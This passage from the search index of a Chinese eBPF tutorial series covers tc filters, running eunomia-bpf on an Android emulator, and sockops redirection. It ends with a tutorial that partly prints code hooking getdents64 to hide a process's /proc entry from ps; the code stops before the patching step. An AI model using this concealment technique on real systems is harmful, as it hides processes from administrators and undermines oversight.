程序"},"129":{"body":"通过容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或是通过 ecc 编译： $ ecc tc.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 并通过 ecli 运行： sudo ecli run ./package.json 可以通过如下方式查看程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe node-1254811 [007] ..s1 8737831.671074: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674334: 0: Got IP packet: tot_len: 79, ttl: 64 sshd-1254728 [006] ..s1 8737831.674349: 0: Got IP packet: tot_len: 72, ttl: 64 node-1254811 [007] ..s1 8737831.674550: 0: Got IP packet: tot_len: 71, ttl: 64","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 编译运行","id":"129","title":"编译运行"},"13":{"body":"在本篇博客中，我们将深入探讨eBPF（Extended Berkeley Packet Filter）的基本框架和开发流程。eBPF是一种在Linux内核上运行的强大网络和性能分析工具，它为开发者提供了在内核运行时动态加载、更新和运行用户定义代码的能力。这使得开发者可以实现高效、安全的内核级别的网络监控、性能分析和故障排查等功能。 本文是eBPF入门开发实践教程的第二篇，我们将重点关注如何编写一个简单的eBPF程序，并通过实际例子演示整个开发流程。在阅读本教程之前，建议您先学习第一篇教程，以便对eBPF的基本概念有个大致的了解。 在开发eBPF程序时，有多种开发框架可供选择，如 BCC（BPF Compiler Collection）libbpf、cilium/ebpf、eunomia-bpf 等。虽然不同工具的特点各异，但它们的基本开发流程大致相同。在接下来的内容中，我们将深入了解这些流程，并以 Hello World 程序为例，带领读者逐步掌握eBPF开发的基本技巧。 本教程将帮助您了解eBPF程序的基本结构、编译和加载过程、用户空间与内核空间的交互方式以及调试与优化技巧。通过学习本教程，您将掌握eBPF开发的基本知识，并为后续进一步学习和实践奠定坚实的基础。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 入门开发实践教程二：Hello World，基本框架和开发流程","id":"13","title":"eBPF 入门开发实践教程二：Hello World，基本框架和开发流程"},"130":{"body":"本文介绍了如何向 TC 流量控制子系统挂载 eBPF 类型的 filter 来实现对链路层数据包的排队处理。基于 eunomia-bpf 提供的通过注释向 libbpf 传递参数的方案，我们可以将自己编写的 tc BPF 程序以指定选项挂载到目标网络设备，并借助内核的 sk_buff 结构对数据包进行过滤处理。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 总结","id":"130","title":"总结"},"131":{"body":"http://just4coding.com/2022/08/05/tc/ https://arthurchiao.art/blog/understanding-tc-da-mode-zh/","breadcrumbs":"使用 eBPF 进行 tc 流量控制 » 参考","id":"131","title":"参考"},"132":{"body":"本文主要记录了笔者在 Android Studio Emulator 中测试高版本 Android Kernel 对基于 libbpf 的 CO-RE 技术支持程度的探索过程、结果和遇到的问题。 测试采用的方式是在 Android Shell 环境下构建 Debian 环境，并基于此尝试构建 eunomia-bpf 工具链、运行其测试用例。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 在 Andorid 上使用 eBPF 程序","id":"132","title":"在 Andorid 上使用 eBPF 程序"},"133":{"body":"截至目前（2023-04），Android 还未对 eBPF 程序的动态加载做出较好的支持，无论是以 bcc 为代表的带编译器分发方案，还是基于 btf 和 libbpf 的 CO-RE 方案，都在较大程度上离不开 Linux 环境的支持，无法在 Android 系统上很好地运行 [1] 。 虽然如此，在 Android 平台上尝试 eBPF 也已经有了一些成功案例，除谷歌官方提供的修改 Android.bp 以将 eBPF 程序随整个系统一同构建并挂载的方案 [2] ，也有人提出基于 Android 内核构建 Linux 环境进而运行 eBPF 工具链的思路，并开发了相关工具。 目前已有的资料，大多基于 adeb/eadb 在 Android 内核基础上构建 Linux 沙箱，并对 bcc 和 bpftrace 相关工具链进行测试，而对 CO-RE 方案的测试工作较少。在 Android 上使用 bcc 工具目前有较多参考资料，如： SeeFlowerX： https://blog.seeflower.dev/category/eBPF/ evilpan： https://bbs.kanxue.com/thread-271043.htm 其主要思路是利用 chroot 在 Android 内核上运行一个 Debian 镜像，并在其中构建整个 bcc 工具链，从而使用 eBPF 工具。如果想要使用 bpftrace，原理也是类似的。 事实上，高版本的 Android 内核已支持 btf 选项，这意味着 eBPF 领域中新兴的 CO-RE 技术也应当能够运用到基于 Android 内核的 Linux 系统中。本文将基于此对 eunomia-bpf 在模拟器环境下进行测试运行。 eunomia-bpf 是一个结合了 libbpf 和 WebAssembly 技术的开源项目，旨在简化 eBPF 程序的编写、编译和部署。该项目可被视作 CO-RE 的一种实践方式，其核心依赖是 libbpf，相信对 eunomia-bpf 的测试工作能够为其他 CO-RE 方案提供参考。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 背景","id":"133","title":"背景"},"134":{"body":"Android Emulator（Android Studio Flamingo | 2022.2.1） AVD: Pixel 6 Android Image: Tiramisu Android 13.0 x86_64（5.15.41-android13-8-00055-g4f5025129fe8-ab8949913）","breadcrumbs":"在 Android 上使用 eBPF 程序 » 测试环境","id":"134","title":"测试环境"},"135":{"body":"[3] 从 eadb 仓库 的 releases 页面获取 debianfs-amd64-full.tar.gz 作为 Linux 环境的 rootfs，同时还需要获取该项目的 assets 目录来构建环境； 从 Android Studio 的 Device Manager 配置并启动 Android Virtual Device； 通过 Android Studio SDK 的 adb 工具将 debianfs-amd64-full.tar.gz 和 assets 目录推送到 AVD 中： ./adb push debianfs-amd64-full.tar.gz /data/local/tmp/deb.tar.gz ./adb push assets /data/local/tmp/assets 通过 adb 进入 Android shell 环境并获取 root 权限： ./adb shell su 在 Android shell 中构建并进入 debian 环境： mkdir -p /data/eadb mv /data/local/tmp/assets/* /data/eadb mv /data/local/tmp/deb.tar.gz /data/eadb/deb.tar.gz rm -r /data/local/tmp/assets chmod +x /data/eadb/device-* /data/eadb/device-unpack /data/eadb/run /data/eadb/debian 至此，测试 eBPF 所需的 Linux 环境已经构建完毕。此外，在 Android shell 中（未进入 debian 时）可以通过 zcat /proc/config.gz 并配合 grep 查看内核编译选项。 目前，eadb 打包的 debian 环境存在 libc 版本低，缺少的工具依赖较多等情况；并且由于内核编译选项不同，一些 eBPF 功能可能也无法使用。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 环境搭建","id":"135","title":"环境搭建"},"136":{"body":"在 debian 环境中将 eunomia-bpf 仓库 clone 到本地，具体的构建过程，可以参考仓库的 build.md 。在本次测试中，笔者选用了 ecc 编译生成 package.json 的方式，该工具的构建和使用方式请参考 仓库页面 。 在构建过程中，可能需要自行安装包括但不限于 curl，pkg-config，libssl-dev 等工具。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 工具构建","id":"136","title":"工具构建"},"137":{"body":"有部分 eBPF 程序可以成功在 Android 上运行，但也会有部分应用因为种种原因无法成功被执行。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 结果","id":"137","title":"结果"},"138":{"body":"bootstrap 运行输出如下： TIME PID PPID EXIT_CODE DURATION_NS COMM FILENAME EXIT_EVENT\n09:09:19 10217 479 0 0 sh /system/bin/sh 0\n09:09:19 10217 479 0 0 ps /system/bin/ps 0\n09:09:19 10217 479 0 54352100 ps 1\n09:09:21 10219 479 0 0 sh /system/bin/sh 0\n09:09:21 10219 479 0 0 ps /system/bin/ps 0\n09:09:21 10219 479 0 44260900 ps 1 tcpstates 开始监测后在 Linux 环境中通过 wget 下载 Web 页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n09:07:46 0x4007000200005000000000000f02000a 0x5000000000000f02000a8bc53f77 18446635827774444352 3315344998 0 10115 7 2 2 0 80 wget\n09:07:46 0x40020002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315465870 120872 0 2 1 2 55694 80 swapper/0\n09:07:46 0x40010002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315668799 202929 10115 1 4 2 55694 80 wget\n09:07:46 0x40040002d98e50003d99f8090f02000a 0xd98e50003d99f8090f02000a8bc53f77 18446635827774444352 3315670037 1237 0 4 5 2 55694 80 swapper/0\n09:07:46 0x40050002000050003d99f8090f02000a 0x50003d99f8090f02000a8bc53f77 18446635827774444352 3315670225 188 0 5 7 2 55694 80 swapper/0\n09:07:47 0x400200020000bb01565811650f02000a 0xbb01565811650f02000a6aa0d9ac 18446635828348806592 3316433261 0 2546 2 7 2 49970 443 ChromiumNet\n09:07:47 0x400200020000bb01db794a690f02000a 0xbb01db794a690f02000aea2afb8e 18446635827774427776 3316535591 0 1469 2 7 2 37386 443 ChromiumNet 开始检测后在 Android Studio 模拟界面打开 Chrome 浏览器并访问百度页面： TIME SADDR DADDR SKADDR TS_US DELTA_US PID OLDSTATE NEWSTATE FAMILY SPORT DPORT TASK\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020066638144 192874641 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002d28abb01494b6ebe0f02000a 0xd28abb01494b6ebe0f02000aeb6f2270 18446631020066638144 192921938 47297 3305 2 1 2 53898 443 NetworkService\n07:46:58 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132433920 193111426 0 3305 7 2 2 0 443 NetworkService\n07:46:58 0x40020002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193124670 13244 3305 2 1 2 46240 443 NetworkService\n07:46:58 0x40010002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193185397 60727 3305 1 4 2 46240 443 NetworkService\n07:46:58 0x40040002b4a0bb0179ff85e80f02000a 0xb4a0bb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186122 724 3305 4 5 2 46240 443 NetworkService\n07:46:58 0x400500020000bb0179ff85e80f02000a 0xbb0179ff85e80f02000ae7e7e8b7 18446631020132433920 193186244 122 3305 5 7 2 46240 443 NetworkService\n07:46:59 0x40010002d01ebb01d0c52f5c0f02000a 0xd01ebb01d0c52f5c0f02000a51449c27 18446631020103553856 194110884 0 5130 1 8 2 53278 443 ThreadPoolForeg\n07:46:59 0x400800020000bb01d0c52f5c0f02000a 0xbb01d0c52f5c0f02000a51449c27 18446631020103553856 194121000 10116 3305 8 7 2 53278 443 NetworkService\n07:46:59 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aeb6f2270 18446631020099513920 194603677 0 3305 7 2 2 0 443 NetworkService\n07:46:59 0x40020002d28ebb0182dd92990f02000a 0xd28ebb0182dd92990f02000aeb6f2270 18446631020099513920 194649313 45635 12 2 1 2 53902 443 ksoftirqd/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000a26f6e878 18446631020132433920 195193350 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002ba32bb01e0e09e3a0f02000a 0xba32bb01e0e09e3a0f02000a26f6e878 18446631020132433920 195206992 13642 0 2 1 2 47666 443 swapper/0\n07:47:00 0x400700020000bb01000000000f02000a 0xbb01000000000f02000ae7e7e8b7 18446631020132448128 195233125 0 3305 7 2 2 0 443 NetworkService\n07:47:00 0x40020002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195246569 13444 3305 2 1 2 46248 443 NetworkService\n07:47:00 0xf02000affff00000000000000000000 0x1aca06cffff00000000000000000000 18446631019225912320 195383897 0 947 7 2 10 0 80 Thread-11\n07:47:00 0x40010002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195421584 175014 3305 1 4 2 46248 443 NetworkService\n07:47:00 0x40040002b4a8bb0136cac8dd0f02000a 0xb4a8bb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422361 777 3305 4 5 2 46248 443 NetworkService\n07:47:00 0x400500020000bb0136cac8dd0f02000a 0xbb0136cac8dd0f02000ae7e7e8b7 18446631020132448128 195422450 88 3305 5 7 2 46248 443 NetworkService\n07:47:01 0x400700020000bb01000000000f02000a 0xbb01000000000f02000aea2afb8e 18446631020099528128 196321556 0 1315 7 2 2 0 443 ChromiumNet","breadcrumbs":"在 Android 上使用 eBPF 程序 » 成功案例","id":"138","title":"成功案例"},"139":{"body":"opensnoop 例如 opensnoop 工具，可以在 Android 上成功构建，但运行报错： libbpf: failed to determine tracepoint 'syscalls/sys_enter_open' perf event ID: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to create tracepoint 'syscalls/sys_enter_open' perf event: No such file or directory\nlibbpf: prog 'tracepoint__syscalls__sys_enter_open': failed to auto-attach: -2\nfailed to attach skeleton\nError: BpfError(\"load and attach ebpf program failed\") 后经查看发现内核未开启 CONFIG_FTRACE_SYSCALLS 选项，导致无法使用 syscalls 的 tracepoint。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 一些可能的报错原因","id":"139","title":"一些可能的报错原因"},"14":{"body":"在开始编写eBPF程序之前，我们需要准备一个合适的开发环境，并了解eBPF程序的基本开发流程。本部分将详细介绍这些内容。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF开发环境准备与基本开发流程","id":"14","title":"eBPF开发环境准备与基本开发流程"},"140":{"body":"在 Android shell 中查看内核编译选项可以发现 CONFIG_DEBUG_INFO_BTF 默认是打开的，在此基础上 eunomia-bpf 项目提供的 example 已有一些能够成功运行的案例，例如可以监测 exec 族函数的执行和 tcp 连接的状态。 对于无法运行的一些，原因主要是以下两个方面： 内核编译选项未支持相关 eBPF 功能； eadb 打包的 Linux 环境较弱，缺乏必须依赖； 目前在 Android 系统中使用 eBPF 工具基本上仍然需要构建完整的 Linux 运行环境，但 Android 内核本身对 eBPF 的支持已较为全面，本次测试证明较高版本的 Android 内核支持 BTF 调试信息和依赖 CO-RE 的 eBPF 程序的运行。 Android 系统 eBPF 工具的发展需要官方新特性的加入，目前看来通过 Android APP 直接使用 eBPF 工具需要的工作量较大，同时由于 eBPF 工具需要 root 权限，普通 Android 用户的使用会面临较多困难。 如果希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"在 Android 上使用 eBPF 程序 » 总结","id":"140","title":"总结"},"141":{"body":"https://source.android.google.cn/docs/core/architecture/kernel/bpf [1] : https://mp.weixin.qq.com/s/mul4n5D3nXThjxuHV7GpMA [3] : https://blog.seeflower.dev/archives/138/","breadcrumbs":"在 Android 上使用 eBPF 程序 » 参考","id":"141","title":"参考"},"142":{"body":"TODO","breadcrumbs":"使用 eBPF 追踪 HTTP 请求或其他七层协议 » http","id":"142","title":"http"},"143":{"body":"","breadcrumbs":"使用 sockops 加速网络请求转发 » eBPF sockops 示例","id":"143","title":"eBPF sockops 示例"},"144":{"body":"网络连接本质上是 socket 之间的通讯，eBPF 提供了一个 bpf_msg_redirect_hash 函数，用来将应用发出的包直接转发到对端的 socket，可以极大地加速包在内核中的处理流程。 这里 sock_map 是记录 socket 规则的关键部分，即根据当前的数据包信息，从 sock_map 中挑选一个存在的 socket 连接来转发请求。所以需要先在 sockops 的 hook 处或者其它地方，将 socket 信息保存到 sock_map，并提供一个规则 (一般为四元组) 根据 key 查找到 socket。 Merbridge 项目就是这样实现了用 eBPF 代替 iptables 为 Istio 进行加速。在使用 Merbridge (eBPF) 优化之后，出入口流量会直接跳过很多内核模块，明显提高性能，如下图所示： merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 利用 eBPF 的 sockops 进行性能优化","id":"144","title":"利用 eBPF 的 sockops 进行性能优化"},"145":{"body":"此示例程序从发送者的套接字（出口）重定向流量至接收者的套接字（入口）， 跳过 TCP/IP 内核网络栈 。在这个示例中，我们假定发送者和接收者都在 同一台 机器上运行。","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行样例","id":"145","title":"运行样例"},"146":{"body":"# Compile the bpf_sockops program\nclang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o\nclang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o","breadcrumbs":"使用 sockops 加速网络请求转发 » 编译 eBPF 程序","id":"146","title":"编译 eBPF 程序"},"147":{"body":"sudo ./load.sh 您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。 $ sudo bpftool prog show\n63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58\n64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 304B jited 233B memlock 4096B map_ids 58","breadcrumbs":"使用 sockops 加速网络请求转发 » 加载 eBPF 程序","id":"147","title":"加载 eBPF 程序"},"148":{"body":"iperf3 -s -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 服务器","id":"148","title":"运行 iperf3 服务器"},"149":{"body":"iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 客户端","id":"149","title":"运行 iperf3 客户端"},"15":{"body":"要开发eBPF程序，您需要安装以下软件和工具： Linux 内核：由于eBPF是内核技术，因此您需要具备较新版本的Linux内核（推荐4.8及以上版本），以支持eBPF功能。 LLVM 和 Clang：这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 eBPF 程序主要由两部分构成：内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑，用户态部分负责加载、运行和监控内核态程序。当您选择了合适的开发框架后，如 BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以 BCC 工具为例，我们将介绍 eBPF 程序的基本开发流程： 当您选择了合适的开发框架后，如BCC（BPF Compiler Collection）、libbpf、cilium/ebpf或eunomia-bpf等，您可以开始进行用户态和内核态程序的开发。以BCC工具为例，我们将介绍eBPF程序的基本开发流程： 安装BCC工具：根据您的Linux发行版，按照BCC官方文档的指南安装BCC工具和相关依赖。 编写eBPF程序（C语言）：使用C语言编写一个简单的eBPF程序，例如Hello World程序。该程序可以在内核空间执行并完成特定任务，如统计网络数据包数量。 编写用户态程序（Python或C等）：使用Python、C等语言编写用户态程序，用于加载、运行eBPF程序以及与之交互。在这个程序中，您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 编译eBPF程序：使用BCC工具，将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 加载并运行eBPF程序：在用户态程序中，使用BCC提供的API加载编译好的eBPF程序到内核空间，然后运行该程序。 与eBPF程序交互：用户态程序通过BCC提供的API与eBPF程序交互，实现数据收集、分析和展示等功能。例如，您可以使用BCC API读取eBPF程序中的map数据，以获取网络数据包统计信息。 卸载eBPF程序：当不再需要eBPF程序时，用户态程序应使用BCC API将其从内核空间卸载。 调试与优化：使用 bpftool 等工具进行eBPF程序的调试和优化，提高程序性能和稳定性。 通过以上流程，您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意，其他框架（如libbpf、cilium/ebpf和eunomia-bpf）的开发流程大致相似但略有不同，因此在选择框架时，请参考相应的官方文档和示例。 通过这个过程，你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架，支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行，并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 安装必要的软件和工具","id":"15","title":"安装必要的软件和工具"},"150":{"body":"$ ./trace.sh\niperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135\niperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583\niperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135\niperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件，那么 eBPF 程序可能没有正确地附加上。","breadcrumbs":"使用 sockops 加速网络请求转发 » 收集追踪","id":"150","title":"收集追踪"},"151":{"body":"sudo ./unload.sh","breadcrumbs":"使用 sockops 加速网络请求转发 » 卸载 eBPF 程序","id":"151","title":"卸载 eBPF 程序"},"152":{"body":"https://github.com/zachidan/ebpf-sockops https://github.com/merbridge/merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 参考资料","id":"152","title":"参考资料"},"153":{"body":"eBPF（扩展的伯克利数据包过滤器）是 Linux 内核中的一个强大功能，可以在无需更改内核源代码或重启内核的情况下，运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 在本篇教程中，我们将展示如何利用 eBPF 来隐藏进程或文件信息，这是网络安全和防御领域中一种常见的技术。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » eBPF 开发实践：使用 eBPF 隐藏进程或文件信息","id":"153","title":"eBPF 开发实践：使用 eBPF 隐藏进程或文件信息"},"154":{"body":"\"进程隐藏\" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中，这种技术都可能被应用。具体来说，Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹，包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此，如果我们能隐藏某个进程的 /proc/ 文件夹，就能让这个进程对 ps 命令等检测手段“隐身”。 要实现进程隐藏，关键在于操作 /proc/ 目录。在 Linux 中，getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用，修改它返回的结果，从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能，它可以修改用户空间的内存，因此能用来修改 getdents64 返回的结果。 下面，我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 背景知识与实现机制","id":"154","title":"背景知识与实现机制"},"155":{"body":"接下来，我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分： // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include <bpf/bpf_core_read.h>\n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Map to fold the dents buffer addresses\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_buffs SEC(\".maps\"); // Map used to enable searching through the\n// data in a loop\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, int);\n} map_bytes_read SEC(\".maps\"); // Map with address of actual\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_to_patch SEC(\".maps\"); // Map to hold program tail calls\nstruct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 5); __type(key, __u32); __type(value, __u32);\n} map_prog_array SEC(\".maps\"); 我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件，如 \"vmlinux.h\"、\"bpf_helpers.h\"、\"bpf_tracing.h\" 和 \"bpf_core_read.h\"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 \"vmlinux.h\" 是一个包含了完整的内核数据结构的头文件，是从 vmlinux 内核二进制中提取的。使用这个头文件，eBPF 程序可以访问内核的数据结构。 \"bpf_helpers.h\" 头文件中定义了一系列的宏，这些宏是 eBPF 程序使用的 BPF 助手（helper）函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 \"bpf_tracing.h\" 是用于跟踪事件的头文件，它包含了许多宏和函数，这些都是为了简化 eBPF 程序对跟踪点（tracepoint）的操作。 \"bpf_core_read.h\" 头文件提供了一组用于从内核读取数据的宏和函数。 程序中定义了一系列的 map 结构，这些 map 是 eBPF 程序中的主要数据结构，它们用于在内核态和用户态之间共享数据，或者在 eBPF 程序中存储和传递数据。 其中，\"rb\" 是一个 Ringbuffer 类型的 map，它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 \"map_buffs\" 是一个 Hash 类型的 map，它用于存储目录项（dentry）的缓冲区地址。 \"map_bytes_read\" 是另一个 Hash 类型的 map，它用于在数据循环中启用搜索。 \"map_to_patch\" 是另一个 Hash 类型的 map，存储了需要被修改的目录项（dentry）的地址。 \"map_prog_array\" 是一个 Prog Array 类型的 map，它用于保存程序的尾部调用。 程序中的 \"target_ppid\" 和 \"pid_to_hide_len\"、\"pid_to_hide\" 是几个重要的全局变量，它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 接下来的代码部分，程序定义了一个名为 \"linux_dirent64\" 的结构体，这个结构体代表一个 Linux 目录项。然后程序定义了两个函数，\"handle_getdents_enter\" 和 \"handle_getdents_exit\"，这两个函数分别在 getdents64 系统调用的入口和出口被调用，用于实现对目录项的操作。 // Optional Target Parent PID\nconst volatile int target_ppid = 0; // These store the string represenation\n// of the PID to hide. This becomes the name\n// of the folder in /proc/\nconst volatile int pid_to_hide_len = 0;\nconst volatile char pid_to_hide[max_pid_len]; // struct linux_dirent64 {\n// u64 d_ino; /* 64-bit inode number */\n// u64 d_off; /* 64-bit offset to next structure */\n// unsigned short d_reclen; /* Size of this dirent */\n// unsigned char d_type; /* File type */\n// char d_name[]; /* Filename (null-terminated) */ }; // int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);\nSEC(\"tp/syscalls/sys_enter_getdents64\")\nint handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } int pid = pid_tgid >> 32; unsigned int fd = ctx->args[0]; unsigned int buff_count = ctx->args[2]; // Store params in map for exit function struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); return 0;\n} 在这部分代码中，我们可以看到 eBPF 程序的一部分具体实现，该程序负责在 getdents64 系统调用的入口处进行处理。 我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0，那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称，因此被隐藏的进程在 /proc/ 目录下将无法被看到。 接下来，我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项，包含了一些元数据，如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 然后是 getdents64 函数的原型。这个函数是 Linux 系统调用，用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中，对目录项进行修改，以实现进程隐藏。 随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID，然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid，那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0，我们就关注所有进程。 在确认了当前进程是我们关注的进程之后，我们将 getdents64 系统调用的参数保存到一个 map 中，以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数，它是一个指向 linux_dirent64 结构体的指针，代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。 至此，我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时，我们将会在 handle_getdents_exit 函数中，对目录项进行修改，以实现进程隐藏。 在接下来的代码段中，我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程，并且对目录项进行修改以实现隐藏。 我们首先定义了一个名为 handle_getdents_exit 的函数，它将在 getdents64 系统调用返回时被调用。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); int total_bytes_read = ctx->ret; // if bytes_read is 0, everything's been read if (total_bytes_read <= 0) { return 0; } // Check we stored the address of the buffer from the syscall entry long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); if (pbuff_addr == 0) { return 0; } // All of this is quite complex, but basically boils down to // Calling 'handle_getdents_exit' in a loop to iterate over the file listing // in chunks of 200, and seeing if a folder with the name of our pid is in there. // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual // patching long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[max_pid_len]; unsigned int bpos = 0; unsigned int 